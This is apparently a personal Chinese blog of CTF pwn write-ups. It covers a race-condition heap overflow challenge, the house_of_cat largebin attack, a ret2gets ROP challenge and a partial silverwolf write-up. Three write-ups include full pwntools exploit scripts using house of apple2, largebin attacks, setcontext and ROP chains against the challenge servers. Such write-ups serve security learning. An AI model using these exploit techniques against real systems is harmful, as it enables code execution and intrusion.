Pwn 题解 on RatherHard の Blog

据说是 NeSE 考核题目的题解

Mon, 27 Apr 2026 10:50:00 +0000

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/dlutctf2025/deploy/main'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
 const char *password; // rdx
 const char *password_1; // rdx
 __int64 task; // rbx
 int i; // [rsp+4h] [rbp-6Ch]
 int idx; // [rsp+8h] [rbp-68h]
 int idx_1; // [rsp+Ch] [rbp-64h]
 _DWORD *packet; // [rsp+10h] [rbp-60h]
 const char *token; // [rsp+18h] [rbp-58h]
 char *command; // [rsp+20h] [rbp-50h]
 __int64 user; // [rsp+28h] [rbp-48h]
 char *task_content; // [rsp+38h] [rbp-38h]
 const char *name_1; // [rsp+40h] [rbp-30h]
 const char *name; // [rsp+50h] [rbp-20h]

 while ( 1 )
 {
 while ( 1 )
 {
 packet = read_packet();
 token = (const char *)get_filed_value((__int64)packet, "user_token");
 command = (char *)get_filed_value((__int64)packet, "command");
 if ( !command )
 err("Invalid packet");
 if ( !token )
 {
 if ( !strcmp(command, "login") )
 {
 name = (const char *)get_filed_value((__int64)packet, "username");
 password = (const char *)get_filed_value((__int64)packet, "password");
 user_login(name, password);
 }
 else
 {
 if ( strcmp(command, "register") )
 err("Invalid command");
 name_1 = (const char *)get_filed_value((__int64)packet, "username");
 password_1 = (const char *)get_filed_value((__int64)packet, "password");
 user_register(name_1, password_1);
 }
 goto LABEL_28;
 }
 idx = search_user_by_token(token, 32);
 if ( idx == -1 )
 err("Invalid token");
 user = all_users[idx];
 if ( strcmp(command, "submit_task") )
 break;
 if ( *(_QWORD *)(user + 0x20) ) // task
 {
 if ( !*(_DWORD *)(user + 0x18) )
 {
 *(_DWORD *)(user + 0x18) = 1;
 task_content = (char *)get_filed_value((__int64)packet, "task_content");
 if ( !task_content )
 err("Invalid packet");
 task = *(_QWORD *)(user + 32);
 *(_QWORD *)(task + 32) = strdup(task_content);
 run_task(*(void **)(user + 32));
 goto LABEL_28;
 }
 puts("Task is being running, try again later");
 }
 else
 {
 puts("Sorry you cannot run task");
 }
 }
 if ( strcmp(command, "deregister") )
 err("Invalid command");
 if ( user_count > 0 )
 {
 idx_1 = search_user_by_token(token, 32);
 if ( idx_1 == -1 )
 err("Invalid token");
 free((void *)all_users[idx_1]);
 for ( i = idx_1; i < user_count - 1; ++i )
 all_users[i] = all_users[i + 1];
 all_users[--user_count] = 0;
 puts("Deregister success");
LABEL_28:
 free_packet((__int64)packet);
 }
 }
}

read_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


_DWORD *read_packet()
{
 int len; // [rsp+4h] [rbp-102Ch]
 char *s; // [rsp+8h] [rbp-1028h]
 _DWORD *packet; // [rsp+10h] [rbp-1020h]
 char *v4; // [rsp+18h] [rbp-1018h]
 _QWORD buf[514]; // [rsp+20h] [rbp-1010h] BYREF

 buf[513] = __readfsqword(0x28u);
 memset(buf, 0, 0x1000u);
 len = read(0, buf, 0xFFFu);
 *((_BYTE *)buf + len) = 0;
 packet = create_packet();
 for ( s = (char *)buf; s < (char *)buf + len; s = v4 + 1 )
 {
 v4 = strchr(s, '\n');
 if ( !v4 )
 break;
 *v4 = 0;
 packet_parse_line((__int64)packet, s);
 }
 return packet;
}

解析数据包，按行分配

create_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


_DWORD *create_packet()
{
 _DWORD *ptr; // [rsp+8h] [rbp-8h]

 ptr = malloc(0x10u);
 if ( ptr )
 {
 *(_QWORD *)ptr = malloc(0x80u);
 if ( *(_QWORD *)ptr )
 {
 ptr[2] = 0;
 ptr[3] = 8;
 return ptr;
 }
 else
 {
 perror("malloc fields failed");
 free(ptr);
 return 0;
 }
 }
 else
 {
 perror("malloc packet failed");
 return 0;
 }
}

为数据包分配空间

packet_parse_line

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


void __fastcall packet_parse_line(__int64 packet, const char *key)
{
 char *value; // [rsp+18h] [rbp-18h]

 value = strchr(key, ':');
 if ( value )
 {
 *value = 0;
 add_filed(packet, key, value + 1);
 }
}

可以看出数据包的格式：

1

key1:val1\nkey2:val2\n...

add_filed

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


void __fastcall add_filed(__int64 packet, const char *key, const char *value)
{
 char **v3; // rbx
 __int64 v4; // rbx

 if ( packet
 && key
 && value
 && (*(_DWORD *)(packet + 8) < *(_DWORD *)(packet + 12) || (unsigned int)expand_fields(packet)) )
 {
 v3 = (char **)(*(_QWORD *)packet + 16LL * *(int *)(packet + 8));
 *v3 = strdup(key);
 v4 = *(_QWORD *)packet + 16LL * *(int *)(packet + 8);
 *(_QWORD *)(v4 + 8) = strdup(value);
 ++*(_DWORD *)(packet + 8);
 }
}

注意 strdup 会为字符串分配堆空间

get_filed_value

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


__int64 __fastcall get_filed_value(__int64 packet, const char *key)
{
 int i; // [rsp+1Ch] [rbp-4h]

 if ( !packet || !key )
 return 0;
 for ( i = 0; i < *(_DWORD *)(packet + 8); ++i )
 {
 if ( !strcmp(*(const char **)(16LL * i + *(_QWORD *)packet), key) )
 return *(_QWORD *)(16LL * i + *(_QWORD *)packet + 8);
 }
 return 0;
}

user_login

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


__int64 __fastcall user_login(const char *name, const char *password)
{
 __int64 result; // rax
 int i; // [rsp+1Ch] [rbp-4h]

 if ( !name || !password )
 return 0;
 for ( i = 0; ; ++i )
 {
 result = (unsigned int)user_count;
 if ( i >= user_count )
 break;
 if ( !strcmp(name, *(const char **)(all_users[i] + 8LL)) && !strcmp(password, *(const char **)(all_users[i] + 16LL)) )
 {
 puts("Login success");
 printf("user_token:%s\n", *(const char **)all_users[i]);
 }
 }
 return result;
}

登录逻辑，登录成功会返回 token

user_register

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


__int64 __fastcall user_register(const char *name, const char *password)
{
 int idx; // eax
 int i; // [rsp+14h] [rbp-Ch]
 _QWORD *user; // [rsp+18h] [rbp-8h]

 if ( !name || !password )
 return 0xFFFFFFFFLL;
 for ( i = 0; i < user_count; ++i )
 {
 if ( !strcmp(name, *(const char **)(all_users[i] + 8LL)) )
 err("User already exists");
 }
 user = malloc(0x28u);
 *user = malloc(0x20u); // token
 gen_random_bytes((_BYTE *)*user, 0x20u);
 user[1] = strdup(name);
 user[2] = strdup(password);
 *((_DWORD *)user + 6) = 0;
 allocate_task((__int64)user);
 idx = user_count++;
 all_users[idx] = user;
 puts("Reigster success!");
 return 0;
}

会尝试为每个用户分配 task 空间

allocate_task

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


__int64 __fastcall allocate_task(__int64 user)
{
 __int64 result; // rax
 _QWORD *task; // [rsp+18h] [rbp-8h]

 result = (unsigned int)task_allocated;
 if ( task_allocated <= 15 )
 {
 task = malloc(0x28u);
 task[1] = 0;
 *(_DWORD *)task = 0;
 task[3] = user + 0x18;
 ++task_allocated;
 result = user;
 *(_QWORD *)(user + 0x20) = task;
 }
 return result;
}

task 上限为 15 个

search_user_by_token

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


__int64 __fastcall search_user_by_token(const char *token, int len)
{
 int i; // [rsp+1Ch] [rbp-4h]

 for ( i = 0; i < user_count; ++i )
 {
 if ( !strncmp(token, *(const char **)all_users[i], len) )
 return (unsigned int)i;
 }
 return 0xFFFFFFFFLL;
}

run_task

1
2
3
4
5
6
7
8
9


unsigned __int64 __fastcall run_task(void *task)
{
 pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 pthread_create(&newthread, 0, (void *(*)(void *))do_task, task);
 return v3 - __readfsqword(0x28u);
}

开一个线程跑任务，直接跑，没有锁的相关逻辑

free_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


void __fastcall free_packet(__int64 packet)
{
 int i; // [rsp+1Ch] [rbp-4h]

 if ( packet )
 {
 for ( i = 0; i < *(_DWORD *)(packet + 8); ++i )
 {
 free(*(void **)(16LL * i + *(_QWORD *)packet));
 free(*(void **)(16LL * i + *(_QWORD *)packet + 8));
 }
 free(*(void **)packet);
 free((void *)packet);
 }
}

释放与 packet 有关的所有资源

do_task

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


void *__fastcall do_task(const char **task)
{
 int i; // [rsp+1Ch] [rbp-14h]
 char *dest; // [rsp+28h] [rbp-8h]

 *(_DWORD *)task = strlen(task[4]);
 dest = (char *)task[4];
 for ( i = 0; i < *(_DWORD *)task; ++i )
 task[4][i] ^= 0x3Fu;
 task_log(*((_DWORD *)task + 4), "Task has been done\n");
 memcpy(dest, task[4], *(int *)task);
 return 0;
}

执行任务，会先对 task content 做一个异或操作，然后重新自拷贝一遍

如果在 memcpy 之前覆写了 task content 的指针，就有机会重写 dest 的内容并实现堆溢出

利用异或操作可以规避 ‘\x00’ 的截断

task_log

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


unsigned __int64 __fastcall task_log(int a1, const char *a2)
{
 int v3; // [rsp+14h] [rbp-2BCh]
 int v4; // [rsp+1Ch] [rbp-2B4h]
 time_t timer; // [rsp+20h] [rbp-2B0h] BYREF
 struct tm *tp; // [rsp+28h] [rbp-2A8h]
 FILE *stream; // [rsp+30h] [rbp-2A0h]
 size_t v8; // [rsp+38h] [rbp-298h]
 char filename[64]; // [rsp+40h] [rbp-290h] BYREF
 char s[64]; // [rsp+80h] [rbp-250h] BYREF
 char ptr[520]; // [rsp+C0h] [rbp-210h] BYREF
 unsigned __int64 v12; // [rsp+2C8h] [rbp-8h]

 v12 = __readfsqword(0x28u);
 time(&timer);
 tp = localtime(&timer);
 strftime(s, 0x40u, "%Y-%m-%d %H:%M:%S", tp);
 v3 = strlen(s);
 v4 = v3 + strlen(a2) + 3;
 memset(ptr, 0, 0x200u);
 snprintf(filename, 0x40u, "/tmp/task_%d_log", a1);
 stream = fopen(filename, "a");
 if ( stream )
 {
 snprintf(ptr, v4 + 1, "%s: %s\n", s, a2);
 v8 = fwrite(ptr, 1u, v4, stream);
 fclose(stream);
 }
 sleep(4u);
 return v12 - __readfsqword(0x28u);
}

阻塞 4 秒，为上面的条件竞争创造了有利的条件

结构体分析

strdup 的存在大大增加了堆环境的复杂性

packet 有关的所有堆内存都会在数据处理完成后释放，每一轮循环开始时申请，结束时释放

其余的堆内存只有 user-info 会在 deregister 时被释放

漏洞分析

最重要的漏洞便是上面提到的条件竞争产生的堆溢出，利用过程为：

首先 register 15 个用户，让 allocated_task 达到上限
对用户 A 进行 submit_task
在 do_task 处于 memcpy 的阻塞状态时，把 A deregister 掉，然后再 register 用户 B ，使用户 B 的 user-info chunk 刚好是被 free 掉的用户 A 的 user-info chunk ，此时由于 allocated_task 已经达到上限且不会回退，B 的 task 还是原来 A 的 task ，同时 B 的 running-tag 被重置为 0 ，所以允许 B 再次 submit_task 去提交更大的 content
让 B 提交更大的 content 等 A 的 task 阻塞结束后，触发 memcpy ，使得旧的 content(strdup) 的内容被新的 content(strdup) 覆写，并产生溢出，溢出位置在旧的 content(strdup) 上，并且有充足的溢出长度

在溢出过程中，我们需要去伪造一些指针，这就需要泄露堆地址，这一点是比较容易的：注意到 token 的 chunk 大小和 user-info 一致，我们只要在一轮注册中安排 token 被分配到被释放的 user-info chunk 上，就可以通过 task 泄露堆地址

密切关注可能的 0x30 大小的 chunk ，我们发现在一次 register->login->deregister->register->login 路径中，由于提交的数据包包含 token ，一共会申请两个大小为 0x30 的 chunk 并释放， user-info 先释放， packet 中的 token 的 value 后释放，那么在第二个 register 中，由于 user-info 先申请， token 后申请，根据 tcache 的 LIFO 特性，旧的 user-info 会被分配给 token ，最后的 login 的 printf 就会把堆地址泄露出来

然后是 libc 的泄露，需要用到上面的堆溢出

经过精心（xia meng）布局堆的结构，我们使得溢出的时候能够轻易够到某个 user-info chunk 然后劫持它的 token 指针，指向一个写了 libc 相关地址的位置，然后用 login 读出即可

最后我们还可以注意到在 submit_task 时会往 task + 0x20 上写一个可控的堆地址 (content) ，这意味着我们可以劫持 task 去实现任意地址写可控堆地址，然后就有机会打 house of apple2 啦

总结一下路径

1

leak heap -> overflow to leak libc -> hijack task ptr to write house of apple2

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './main_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def safe_linking(pos, ptr):
 return (pos >> 12) ^ ptr

def transpld(payload):
 return bytes([b ^ 0x3f for b in payload])

def sendpacket(packet):
 data = b''
 for key, val in packet.items():
 data += key + b':' + val + b'\n'
 s(data)
 
def register(name, pwd):
 sendpacket({
 b'command': b'register',
 b'username': name.encode(),
 b'password': pwd.encode()
 })

def login(name, pwd):
 sendpacket({
 b'command': b'login',
 b'username': name.encode(),
 b'password': pwd.encode()
 })

def submit_task(token, content):
 sendpacket({
 b'command': b'submit_task',
 b'user_token': token,
 b'task_content': transpld(content)
 })

def deregister(token):
 sendpacket({
 b'command': b'deregister',
 b'user_token': token
 })

register('QwQ', 'QwQ') # leak heap
login('QwQ', 'QwQ')
ru(b'token:')
qwqtoken = r(32)
deregister(qwqtoken)
register('QwQ', 'QwQ')
login('QwQ', 'QwQ')
ru(b'token:')
qwqtoken = r(32)
heap = uu64(r(6)) - 0x4b0
leak('heap')

for i in range(13): # heap feng shui
 register(str(i), str(i))
sendpacket({
 b'command': b'login',
 b'a': b'a' * 0x30,
 b'b': b'a' * 0x30,
 b'c': b'a' * 0x30,
 b'd': b'a' * 0x30
})
register('OwO', 'OwO')
login('OwO', 'OwO')
ru(b'token:')
owotoken = r(32)

fake_heap = flat({ # race condition and heap overflow
 0x8: 0x41,
 0x10: safe_linking(heap + 0x1000, heap + 0x1460),
 0x48: 0x31,
 0x50: heap + 0x1640,
 0x58: heap + 0x3f0,
 0x60: heap + 0x1770,
}, filler = b'\x00')
payload = b'B' * 0x30 + fake_heap + b'\x00'
submit_task(owotoken, b'A' * 0x30)
deregister(owotoken)
register('www', 'w' * 0x20)
login('www', 'w' * 0x20)
ru(b'token:')
token = r(32)
submit_task(token, payload)
sleep(4)

login('www', 'w' * 0x20) # leak libc
ru(b'token:')
token = r(6)
libc.address = uu64(token) + 0x9c8
leak('libc.address')
target = libc.sym['stdout'] - 0x20

fake_heap = flat({ # race condition and heap overflow
 0x8: 0x41,
 0x48: 0x41,
 0x50: safe_linking(heap + 0x1000, heap + 0x1420),
 0x88: 0x31,
 0x90: heap + 0x15f0,
 0x98: heap + 0x1b60,
 0xa0: heap + 0x1b80,
 0xb0: target,
}, filler = b'\x00')
payload = b'B' * 0x30 + fake_heap + b'\x31'
submit_task(token, b'A' * 0x30)
deregister(token)
register('mmm', 'mmm')
login('mmm', 'mmm')
ru(b'token:')
token = r(32)
submit_task(token, payload)
sleep(4)

fake_io_base = heap + 0x1fe0 # house of apple2
fake_io = flat({
 0x0: b' sh;',
 0x8: 0,
 0x20: 0,
 0x68: libc.sym['system'],
 0x88: fake_io_base,
 0xA0: fake_io_base - 0x10, # __rdx__
 0xD0: fake_io_base,
 0xD8: libc.sym['_IO_wfile_jumps'] - 0x20,
}, filler=b"\x00")
submit_task(token, fake_io)
sleep(5)

sendpacket({ # tricker
 b'a': b'a',
})

itr()

NSSCTF-CISCN-2022-house_of_cat 题解

Sat, 07 Mar 2026 00:58:00 +0000

题目

题目链接

checksec

seccomp

只能 orw ，但是限制 read 的 fd 为 0 ，于是可以先 close(0) 再 orw

IDA

main

handle_command

parse_command

需要逆向解析出指令格式

execute_command

套一层指令解析的菜单题

add

只能申请 largerequest 0x420~~0x470 ，放入 largebin 的话， 0x420~~0x430 一个 bin ， 0x440~0x470 一个 bin

edit

edit 限制为两次，只能写 0x30

show

用于 leak

delete

有 UAF

攻击思路

先分析出命令格式： COMMAND | r00tQWB QWXFarg

然后发现要 login 成为管理员，再 cat 拿菜单

1
2


LOGIN | r00tQWB QWXFadmin
CAT | r00tQWB QWXF\xff

之后就是堆题

只能申请固定范围内的 largebin ，考察 largebin attack 技巧，而 edit_count 的限制让这题变得棘手

largebin attack 令 largebin1->bk_nextsize = target - 0x20 然后 free 一个小一点的 largebin2 进入同一个 bin 效果： target = largebin2

由于程序无法正常退出，我们需要利用两次 largebin attack ：一次劫持 stderr 结构体指针，把它覆盖成可控堆地址再在可控堆地址上写 fake IO_FILE 结构体；另一次利用错位篡改 topsize 为一个较小值，这样可以触发 sysmalloc 中的一个 __malloc_assert ，从而执行 fake stderr 中 house of apple2 流程。这两次攻击会耗尽 edit_count

在阅读 largebin 相关源码时我们注意到，一个 chunk 从 unsortedbin 转移到 largebin 时，如果它是最小的，那么就会触发 largebin attack 的核心流程：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;

fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;

注意到这里的 fwd->fd 即 largebin中最大的 chunk ，这意味着我们进行的两次 largebin attack 都需要劫持该 chunk 的 bk_nextsize

顺带提一个小技巧：在 leak libc 和 leak heap 前，我们已经布置好了堆上的分隔式结构防止发生合并，但是我们还需要借助 libc 和 heap 数据去构造 fake stderr , fake _wide_data , fake srop struct , rop chain ，而 edit 只允许写 0x30 的数据，因此我们可以把目标 chunk 给 delete 后再马上 add 回并写入伪造结构，这样不会有任何其他影响

完成 largebin attack 后，接下来我们选择 house of apple2 的 IO_FILE 调用链为：

1
2
3


__malloc_assert ---> _fxprintf ---> locked_vfxprintf ---> __vfprintf_internal ---> 
_IO_wfile_overflow ---> _IO_wdoallocbuf ---> _IO_WDOALLOCATE ---> 
*(fp->_wide_data->_wide_vtable + 0x68)(fp)

这里我根据自己的理解，把调用链分成了三层：

第一层是执行 fake stderr 中的 fake vtable 的虚表指针之前的部分，这部分除了正常 house of apple2 的 fake stderr 要伪造的内容外，还有一些额外的内容需要伪造，不属于 house of apple2 调用链

第二层属于 house of apple2 调用链，在跳转的 target rip 之前

第三层即跳转至 target rip

这里给出 roderick 大佬的 house of apple2 的构造方式：

_flags 设置为 ~(2 | 0x8 | 0x800) ，如果不需要控制 rdi ，设置为 0 即可；

vtable 设置为 _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap 地址（加减偏移），使其能成功调用 _IO_wfile_overflow 即可；

_wide_data 设置为可控堆地址 A ，即满足 *(fp + 0xa0) = A

_wide_data->_IO_write_base 设置为 0 ，即满足 *(A + 0x18) = 0

_wide_data->_IO_buf_base 设置为 0 ，即满足 *(A + 0x30) = 0

_wide_data->_wide_vtable 设置为可控堆地址 B ，即满足 *(A + 0xe0) = B

_wide_data->_wide_vtable->doallocate 设置为地址 C 用于劫持 RIP，即满足 *(B + 0x68) = C

对于本题，还应：

_lock 设置为可读写地址，不要影响到其他部分，即满足 *(fp + 0x88) = rw_addr

此外，还要注意一个细节：堆地址比写入地址低 0x10

到这里，伪造结构基本布置完毕，然后是 setcontext 环节

这里以 rdx 为基准，经动态调试得知， rdx 会被赋值为 _wide_data ，即 *(fp + 0xa0) ，这是在调用链第一层末尾完成的

这一步做完后，愉快地打 rop 就行啦

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./house_of_cat_patched')
else:
	io = remote('node4.anna.nssctf.cn', 25341)

libc = ELF('./libc.so.6')

def login():
	io.sendlineafter(b'mew~~~~~~\n', b'LOGIN | r00tQWB QWXFadmin\x00')

def cat():
	io.sendlineafter(b'mew~~~~~~\n', b'CAT | r00tQWB QWXF\xff\x00')

def add(idx, size, content):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	io.sendafter(b'content:\n', content)

def delete(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'2')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def show(idx):
	cat()
	io.sendlineafter(b'choice:\n', b'3')
	io.sendlineafter(b'idx:\n', str(idx).encode())

def edit(idx, content):
	cat()
	io.sendlineafter(b'choice:\n', b'4')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendafter(b'content:\n', content)

def malloc_assert(idx, size):
	cat()
	io.sendlineafter(b'choice:\n', b'1')
	io.sendlineafter(b'idx:\n', str(idx).encode())
	io.sendlineafter(b'size:\n', str(size).encode())
	
def final_attack_gen(heap):
	fake_io_base = heap + 0xb60
	pop_rax_ret = libc.address + 0x45eb0
	pop_rdi_ret = libc.address + 0x2a3e5
	pop_rsi_ret = libc.address + 0x2be51
	pop_rdx_pop_r12_ret = libc.address + 0x11f497
	syscall_ret = libc.address + 0x91396
	rop_chain = flat([
		3,
		pop_rdi_ret,
		0,
		syscall_ret,		# close(0)
		pop_rax_ret,
		2,
		pop_rdi_ret,
		fake_io_base + 0x100,
		syscall_ret,		# open("/flag")
		pop_rax_ret,
		0,
		pop_rdi_ret,
		0,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret,		# read(0, buf, 0x100)
		pop_rax_ret,
		1,
		pop_rdi_ret,
		1,
		pop_rsi_ret,
		fake_io_base + 0x400,
		pop_rdx_pop_r12_ret,
		0x100,
		0,
		syscall_ret		# write(1, buf, 0x100)
	])
	fake_io_and_rop = flat({
		0x78: heap,
		0x88: libc.sym['setcontext'] + 0x3d,
		0x90: fake_io_base + 0x110,
		0xC8: libc.sym['_IO_wfile_jumps'] - 0x20,
		0xf0: b'/flag\x00',
		0x168: libc.sym['setcontext'] + 0x3d,
		0x1a0: fake_io_base + 0x210,		# rsp
		0x1a8: pop_rax_ret,		# rip
		0x1e0: fake_io_base + 0x110,
		0x200: rop_chain
		},
		filler=b"\x00"
	)
	return fake_io_and_rop

def attack():
	login()

	add(0, 0x458, b'AAA')		# init
	add(1, 0x468, b'ZZZ')
	add(2, 0x448, b'BBB')
	add(3, 0x468, b'ZZZ')
	add(4, 0x438, b'CCC')

	delete(0)		# leak
	add(5, 0x468, b'ZZZ')
	show(0)
	io.recvuntil(b'Context:\n')
	fd = u64(io.recv(6).ljust(8, b'\x00'))
	libc.address = fd - 0x21a0e0
	log.info(f'libc = {hex(libc.address)}')
	stderr = libc.symbols['stderr']
	io.recv(10)
	fdn = u64(io.recv(6).ljust(8, b'\x00'))
	heap = fdn - 0x290
	log.info(f'heap = {hex(heap)}')

	delete(2)		# fix
	add(6, 0x448, final_attack_gen(heap))
	
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(stderr - 0x20))		# largebin attack - stderr
	delete(6)
	add(7, 0x468, b'ZZZ')

	topsize_tar = heap + 0x2140 + 8 - 5		# largebin attack - topsize
	edit(0, p64(fd) + p64(fd) + p64(fdn) + p64(topsize_tar - 0x20))
	delete(4)
	gdb.attach(io)

	malloc_assert(8, 0x468)
	io.interactive()

attack()

# COMMAND | r00tQWB QWXFARG
# LOGIN | r00tQWB QWXFadmin
# CAT | r00tQWB QWXF\xff
# rsp 0xa0; rcx(rip) 0xa8;

NSSCTF-LitCTF-2025-master_of_rop 题解

Sat, 28 Feb 2026 19:02:00 +0000

题目

题目链接

攻击思路

没啥好说，就是 ret2gets

但是本地和远程的系统环境不同，导致 leak tls 后情况不一致

远程挺简单的， libc 与 tls 的偏移固定

但我的本地环境 leak 出的是与 ld 相关的地址，这就需要利用 ld 中的 gadget 再去 leak libc

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

if debug:
	io = process('./pwn_patched')
else:
	io = remote('node4.anna.nssctf.cn', 21460)

rw_addr = 0x404400
gets_plt = 0x401080
puts_plt = 0x401060
again_addr = 0x4011B1

def attack():
	payload = b'A' * 32 + p64(rw_addr) + p64(gets_plt) + p64(gets_plt) + p64(puts_plt) + p64(again_addr)
	io.sendlineafter(b'LitCTF2025!\n', payload)
	io.sendline(b'A' * 8 + b'\x00' * 6)
	io.sendline(b'A' * 4)
	io.recv(8)
	anon_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x740
	log.info(f'anon_base = {hex(anon_base)}')
	ld_base = anon_base + 0xc000
	log.info(f'ld_base = {hex(ld_base)}')
	pop_rdi_pop_rbp_ret = ld_base + 0x23dcc
	payload = b'A' * 32 + p64(rw_addr) + p64(pop_rdi_pop_rbp_ret) + p64(anon_base + 0x6c0) + p64(rw_addr) + p64(puts_plt) + p64(again_addr)
	io.sendlineafter(b'LitCTF2025!\n', payload)
	libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x20b680
	log.info(f'libc_base = {hex(libc_base)}')
	pop_rbx_ret = libc_base + 0x586e4
	pop_r12_ret = libc_base + 0x110951
	onegadget = libc_base + 0xef4ce
	payload = b'A' * 32 + p64(rw_addr) + p64(pop_rbx_ret) + p64(0) + p64(pop_r12_ret) + p64(0) + p64(onegadget)
	io.sendlineafter(b'LitCTF2025!\n', payload)
	io.interactive()

attack()

NSSCTF-CISCN-2021-silverwolf 题解

Thu, 26 Feb 2026 20:41:00 +0000

题目

题目链接

checksec

全开

IDA

main

菜单题

initbuf

有沙箱，需要 orw

allocate

同一时间只能掌控一个 chunk ，最大为 0x78

edit

show

用于 leak

delete

有 UAF

攻击思路

挺棘手的，这道题目没有任何 leak pie 和 leak stack 的手段，只能 leak libc 和 leak heap

利用 UAF 和 tcache 机制我们可以轻松 leak heap ，并把 tcache_pthread_struct 扔进 unsorted_bin 以 leak libc ，同时还可以保留 tcache_pthread_struct 的写入权限

劫持到 tcache_pthread_struct 后有一个好处：我们获得了 tcache_entries 的控制权，这意味着我们可以轻松指定下一次指定大小的 chunk 的分配地址，这有利于我们布置 rop 链以及接下来的 setcontext 技巧

由于我们没办法直接劫持程序流程，而且要实现 orw 的话直接劫持 free_hook 不够（参数个数原因），因此我们考虑栈迁移并构造 rop 链

